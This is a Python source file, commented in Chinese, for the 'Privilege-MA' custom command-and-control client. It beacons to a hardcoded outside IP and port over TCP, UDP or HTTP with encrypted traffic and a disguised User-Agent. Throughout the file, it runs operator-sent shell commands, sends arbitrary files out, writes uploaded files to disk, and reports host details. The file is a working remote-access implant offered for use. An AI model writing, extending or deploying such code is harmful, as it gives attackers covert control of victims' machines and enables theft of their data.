#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Custom C2 Communication Protocol
自定义C2通信协议实现
"""

import socket
import ssl
import time
import json
import base64
import struct
import threading
import hashlib
import hmac
from typing import Dict, Any, Optional, Callable
from dataclasses import dataclass
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC

@dataclass
class CustomC2Config:
    """自定义C2配置信息"""
    server_host: str
    server_port: int
    protocol: str = "tcp"  # tcp, udp, http, https
    encryption_key: Optional[str] = None
    auth_token: Optional[str] = None
    heartbeat_interval: int = 30
    max_retries: int = 5
    timeout: int = 30
    use_compression: bool = True
    steganography: bool = False
    domain_fronting: bool = False

class CustomProtocolC2:
    """自定义C2通信协议实现"""
    
    def __init__(self, config: CustomC2Config):
        self.config = config
        self.session_id = None
        self.is_connected = False
        self.socket = None
        self.encryption_cipher = None
        self.running = False
        self.comm_thread = None
        self.message_queue = []
        self.response_callbacks = {}
        
        # 初始化加密
        if config.encryption_key:
            self._init_encryption()
    
    def _init_encryption(self):
        """初始化加密"""
        try:
            # 使用PBKDF2从密钥生成Fernet密钥
            password = self.config.encryption_key.encode()
            salt = b'privilege_ma_salt'  # 在实际使用中应该使用随机salt
            
            kdf = PBKDF2HMAC(
                algorithm=hashes.SHA256(),
                length=32,
                salt=salt,
                iterations=100000,
            )
            
            key = base64.urlsafe_b64encode(kdf.derive(password))
            self.encryption_cipher = Fernet(key)
            
        except Exception as e:
            print(f"加密初始化失败: {e}")
    
    def connect(self) -> bool:
        """连接到自定义C2服务器"""
        try:
            if self.config.protocol == "tcp":
                return self._connect_tcp()
            elif self.config.protocol == "udp":
                return self._connect_udp()
            elif self.config.protocol in ["http", "https"]:
                return self._connect_http()
            else:
                print(f"不支持的协议: {self.config.protocol}")
                return False
                
        except Exception as e:
            print(f"连接失败: {e}")
            return False
    
    def _connect_tcp(self) -> bool:
        """TCP连接"""
        try:
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.socket.settimeout(self.config.timeout)
            self.socket.connect((self.config.server_host, self.config.server_port))
            
            # 执行认证握手
            if self._perform_authentication():
                self.is_connected = True
                self.running = True
                self._start_communication_thread()
                return True
                
        except Exception as e:
            print(f"TCP连接失败: {e}")
            
        return False
    
    def _connect_udp(self) -> bool:
        """UDP连接"""
        try:
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self.socket.settimeout(self.config.timeout)
            
            # UDP是无连接的，直接尝试认证
            if self._perform_udp_authentication():
                self.is_connected = True
                self.running = True
                self._start_communication_thread()
                return True
                
        except Exception as e:
            print(f"UDP连接失败: {e}")
            
        return False
    
    def _connect_http(self) -> bool:
        """HTTP/HTTPS连接"""
        try:
            import urllib.request
            import urllib.parse
            
            # 构造认证URL
            protocol = "https" if self.config.protocol == "https" else "http"
            url = f"{protocol}://{self.config.server_host}:{self.config.server_port}/auth"
            
            # 发送认证请求
            auth_data = self._create_auth_data()
            
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Content-Type': 'application/json'
            }
            
            req = urllib.request.Request(url, data=auth_data, headers=headers)
            
            with urllib.request.urlopen(req, timeout=self.config.timeout) as response:
                response_data = response.read()
                
                if self._process_auth_response(response_data):
                    self.is_connected = True
                    self.running = True
                    self._start_http_communication_thread()
                    return True
                    
        except Exception as e:
            print(f"HTTP连接失败: {e}")
            
        return False
    
    def _perform_authentication(self) -> bool:
        """执行认证握手"""
        try:
            # 创建认证数据
            auth_data = self._create_auth_data()
            
            # 发送认证请求
            self._send_raw_data(auth_data)
            
            # 接收认证响应
            response = self._receive_raw_data()
            if response:
                return self._process_auth_response(response)
                
        except Exception as e:
            print(f"认证失败: {e}")
            
        return False
    
    def _perform_udp_authentication(self) -> bool:
        """执行UDP认证"""
        try:
            # 创建认证数据
            auth_data = self._create_auth_data()
            
            # 发送认证请求
            self.socket.sendto(auth_data, (self.config.server_host, self.config.server_port))
            
            # 接收认证响应
            response, addr = self.socket.recvfrom(4096)
            if response:
                return self._process_auth_response(response)
                
        except Exception as e:
            print(f"UDP认证失败: {e}")
            
        return False
    
    def _create_auth_data(self) -> bytes:
        """创建认证数据"""
        auth_info = {
            "type": "auth",
            "version": "1.0",
            "client_id": "privilege_ma",
            "hostname": socket.gethostname(),
            "timestamp": int(time.time())
        }
        
        # 添加认证令牌
        if self.config.auth_token:
            auth_info["token"] = self.config.auth_token
        
        # 序列化并加密
        data = json.dumps(auth_info).encode('utf-8')
        
        if self.encryption_cipher:
            data = self.encryption_cipher.encrypt(data)
        
        return data
    
    def _process_auth_response(self, response_data: bytes) -> bool:
        """处理认证响应"""
        try:
            # 解密响应
            if self.encryption_cipher:
                response_data = self.encryption_cipher.decrypt(response_data)
            
            response = json.loads(response_data.decode('utf-8'))
            
            if response.get('status') == 'success':
                self.session_id = response.get('session_id')
                return True
                
        except Exception as e:
            print(f"认证响应处理失败: {e}")
            
        return False
    
    def _start_communication_thread(self):
        """启动通信线程"""
        self.comm_thread = threading.Thread(target=self._communication_loop, daemon=True)
        self.comm_thread.start()
    
    def _start_http_communication_thread(self):
        """启动HTTP通信线程"""
        self.comm_thread = threading.Thread(target=self._http_communication_loop, daemon=True)
        self.comm_thread.start()
    
    def _communication_loop(self):
        """通信主循环"""
        last_heartbeat = time.time()
        
        while self.running and self.is_connected:
            try:
                # 发送心跳
                if time.time() - last_heartbeat >= self.config.heartbeat_interval:
                    self._send_heartbeat()
                    last_heartbeat = time.time()
                
                # 检查消息队列
                self._process_message_queue()
                
                # 接收数据
                if self.config.protocol == "tcp":
                    data = self._receive_raw_data()
                elif self.config.protocol == "udp":
                    data, addr = self.socket.recvfrom(4096)
                
                if data:
                    self._process_received_data(data)
                
                time.sleep(0.1)  # 短暂休眠避免CPU占用过高
                
            except socket.timeout:
                continue
            except Exception as e:
                print(f"通信循环错误: {e}")
                break
    
    def _http_communication_loop(self):
        """HTTP通信主循环"""
        import urllib.request
        
        while self.running and self.is_connected:
            try:
                # 构造轮询URL
                protocol = "https" if self.config.protocol == "https" else "http"
                url = f"{protocol}://{self.config.server_host}:{self.config.server_port}/poll"
                
                # 创建轮询数据
                poll_data = self._create_poll_data()
                
                headers = {
                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                    'Content-Type': 'application/json',
                    'Session-ID': self.session_id
                }
                
                req = urllib.request.Request(url, data=poll_data, headers=headers)
                
                with urllib.request.urlopen(req, timeout=self.config.timeout) as response:
                    response_data = response.read()
                    if response_data:
                        self._process_received_data(response_data)
                
                # 等待下次轮询
                time.sleep(self.config.heartbeat_interval)
                
            except Exception as e:
                print(f"HTTP通信循环错误: {e}")
                time.sleep(self.config.heartbeat_interval)
    
    def _create_poll_data(self) -> bytes:
        """创建轮询数据"""
        poll_info = {
            "type": "poll",
            "session_id": self.session_id,
            "timestamp": int(time.time()),
            "pending_messages": len(self.message_queue)
        }
        
        # 包含待发送的消息
        if self.message_queue:
            poll_info["messages"] = self.message_queue[:10]  # 限制每次发送的消息数量
            self.message_queue = self.message_queue[10:]
        
        data = json.dumps(poll_info).encode('utf-8')
        
        if self.encryption_cipher:
            data = self.encryption_cipher.encrypt(data)
        
        return data
    
    def _send_heartbeat(self):
        """发送心跳"""
        try:
            heartbeat_data = {
                "type": "heartbeat",
                "session_id": self.session_id,
                "timestamp": int(time.time()),
                "status": "active"
            }
            
            self.send_message(heartbeat_data)
            
        except Exception as e:
            print(f"心跳发送失败: {e}")
    
    def _process_message_queue(self):
        """处理消息队列"""
        if not self.message_queue:
            return
        
        try:
            # 发送队列中的消息
            for message in self.message_queue[:5]:  # 每次处理5条消息
                self._send_raw_message(message)
            
            # 移除已发送的消息
            self.message_queue = self.message_queue[5:]
            
        except Exception as e:
            print(f"消息队列处理失败: {e}")
    
    def _process_received_data(self, data: bytes):
        """处理接收到的数据"""
        try:
            # 解密数据
            if self.encryption_cipher:
                data = self.encryption_cipher.decrypt(data)
            
            message = json.loads(data.decode('utf-8'))
            message_type = message.get('type')
            
            if message_type == 'command':
                self._handle_command(message)
            elif message_type == 'response':
                self._handle_response(message)
            elif message_type == 'file_transfer':
                self._handle_file_transfer(message)
            elif message_type == 'module_load':
                self._handle_module_load(message)
            else:
                print(f"未知消息类型: {message_type}")
                
        except Exception as e:
            print(f"数据处理失败: {e}")
    
    def _handle_command(self, message: Dict[str, Any]):
        """处理命令"""
        try:
            command = message.get('command')
            command_id = message.get('command_id')
            args = message.get('args', {})
            
            # 执行命令
            result = self._execute_command(command, args)
            
            # 发送结果
            response = {
                "type": "command_result",
                "command_id": command_id,
                "result": result,
                "timestamp": int(time.time())
            }
            
            self.send_message(response)
            
        except Exception as e:
            error_response = {
                "type": "command_result",
                "command_id": message.get('command_id'),
                "result": {"status": "error", "message": str(e)},
                "timestamp": int(time.time())
            }
            self.send_message(error_response)
    
    def _handle_response(self, message: Dict[str, Any]):
        """处理响应"""
        try:
            request_id = message.get('request_id')
            
            if request_id in self.response_callbacks:
                callback = self.response_callbacks.pop(request_id)
                callback(message)
                
        except Exception as e:
            print(f"响应处理失败: {e}")
    
    def _handle_file_transfer(self, message: Dict[str, Any]):
        """处理文件传输"""
        try:
            operation = message.get('operation')
            file_path = message.get('file_path')
            request_id = message.get('request_id')
            
            if operation == 'download':
                result = self._download_file(file_path)
            elif operation == 'upload':
                file_data = message.get('file_data')
                result = self._upload_file(file_path, file_data)
            else:
                result = {"status": "error", "message": f"未知文件操作: {operation}"}
            
            response = {
                "type": "file_transfer_result",
                "request_id": request_id,
                "result": result,
                "timestamp": int(time.time())
            }
            
            self.send_message(response)
            
        except Exception as e:
            error_response = {
                "type": "file_transfer_result",
                "request_id": message.get('request_id'),
                "result": {"status": "error", "message": str(e)},
                "timestamp": int(time.time())
            }
            self.send_message(error_response)
    
    def _handle_module_load(self, message: Dict[str, Any]):
        """处理模块加载"""
        try:
            module_name = message.get('module_name')
            module_data = message.get('module_data')
            request_id = message.get('request_id')
            
            # 这里可以实现动态模块加载
            result = {
                "status": "success",
                "message": f"模块 {module_name} 加载成功"
            }
            
            response = {
                "type": "module_load_result",
                "request_id": request_id,
                "result": result,
                "timestamp": int(time.time())
            }
            
            self.send_message(response)
            
        except Exception as e:
            error_response = {
                "type": "module_load_result",
                "request_id": message.get('request_id'),
                "result": {"status": "error", "message": str(e)},
                "timestamp": int(time.time())
            }
            self.send_message(error_response)
    
    def _execute_command(self, command: str, args: Dict[str, Any]) -> Dict[str, Any]:
        """执行命令"""
        import subprocess
        
        try:
            if command == 'shell':
                cmd = args.get('cmd', '')
                result = subprocess.run(
                    cmd,
                    shell=True,
                    capture_output=True,
                    text=True,
                    timeout=30
                )
                
                return {
                    "status": "success",
                    "stdout": result.stdout,
                    "stderr": result.stderr,
                    "returncode": result.returncode
                }
            
            elif command == 'sysinfo':
                import platform
                sysinfo = {
                    "hostname": socket.gethostname(),
                    "platform": platform.platform(),
                    "architecture": platform.architecture(),
                    "processor": platform.processor()
                }
                return {"status": "success", "data": sysinfo}
            
            elif command == 'pwd':
                import os
                return {"status": "success", "data": os.getcwd()}
            
            elif command == 'ls':
                import os
                path = args.get('path', '.')
                entries = os.listdir(path)
                return {"status": "success", "data": entries}
            
            else:
                return {"status": "error", "message": f"未知命令: {command}"}
                
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _download_file(self, file_path: str) -> Dict[str, Any]:
        """下载文件"""
        try:
            with open(file_path, 'rb') as f:
                file_content = f.read()
            
            encoded_content = base64.b64encode(file_content).decode('utf-8')
            
            return {
                "status": "success",
                "content": encoded_content,
                "size": len(file_content)
            }
            
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _upload_file(self, file_path: str, file_data: str) -> Dict[str, Any]:
        """上传文件"""
        try:
            decoded_content = base64.b64decode(file_data)
            
            with open(file_path, 'wb') as f:
                f.write(decoded_content)
            
            return {
                "status": "success",
                "message": f"文件已上传到 {file_path}",
                "size": len(decoded_content)
            }
            
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def send_message(self, message: Dict[str, Any]) -> bool:
        """发送消息"""
        try:
            message["session_id"] = self.session_id
            
            if self.config.protocol in ["tcp", "udp"]:
                self.message_queue.append(message)
                return True
            elif self.config.protocol in ["http", "https"]:
                # HTTP模式下直接添加到队列，在轮询时发送
                self.message_queue.append(message)
                return True
                
        except Exception as e:
            print(f"消息发送失败: {e}")
            return False
    
    def _send_raw_message(self, message: Dict[str, Any]):
        """发送原始消息"""
        try:
            data = json.dumps(message).encode('utf-8')
            
            if self.encryption_cipher:
                data = self.encryption_cipher.encrypt(data)
            
            self._send_raw_data(data)
            
        except Exception as e:
            print(f"原始消息发送失败: {e}")
    
    def _send_raw_data(self, data: bytes):
        """发送原始数据"""
        try:
            if self.config.protocol == "tcp":
                length = struct.pack('>I', len(data))
                self.socket.sendall(length + data)
            elif self.config.protocol == "udp":
                self.socket.sendto(data, (self.config.server_host, self.config.server_port))
                
        except Exception as e:
            print(f"原始数据发送失败: {e}")
            self.is_connected = False
    
    def _receive_raw_data(self) -> Optional[bytes]:
        """接收原始数据"""
        try:
            if self.config.protocol == "tcp":
                # 接收长度
                length_data = self.socket.recv(4)
                if len(length_data) != 4:
                    return None
                
                length = struct.unpack('>I', length_data)[0]
                
                # 接收数据
                data = b''
                while len(data) < length:
                    chunk = self.socket.recv(length - len(data))
                    if not chunk:
                        return None
                    data += chunk
                
                return data
            
        except Exception as e:
            print(f"原始数据接收失败: {e}")
            return None
    
    def disconnect(self):
        """断开连接"""
        self.running = False
        self.is_connected = False
        
        if self.comm_thread and self.comm_thread.is_alive():
            self.comm_thread.join(timeout=5)
        
        if self.socket:
            try:
                self.socket.close()
            except:
                pass
    
    def get_status(self) -> Dict[str, Any]:
        """获取连接状态"""
        return {
            "connected": self.is_connected,
            "session_id": self.session_id,
            "server": f"{self.config.server_host}:{self.config.server_port}",
            "protocol": self.config.protocol,
            "encrypted": self.encryption_cipher is not None,
            "message_queue_size": len(self.message_queue)
        }

# 使用示例
def example_usage():
    """使用示例"""
    # 配置自定义C2
    config = CustomC2Config(
        server_host="101.37.80.173",
        server_port=8888,
        protocol="tcp",
        encryption_key="privilege_ma_secret_key",
        auth_token="custom_auth_token_123",
        heartbeat_interval=30
    )
    
    # 创建C2客户端
    c2_client = CustomProtocolC2(config)
    
    try:
        # 连接到服务器
        if c2_client.connect():
            print("✅ 成功连接到自定义C2服务器")
            
            # 发送自定义消息
            c2_client.send_message({
                "type": "custom",
                "message": "Privilege-MA framework connected",
                "capabilities": ["shell", "file_transfer", "module_load"]
            })
            
            # 保持连接
            time.sleep(60)
            
        else:
            print("❌ 连接失败")
            
    finally:
        c2_client.disconnect()

if __name__ == "__main__":
    example_usage()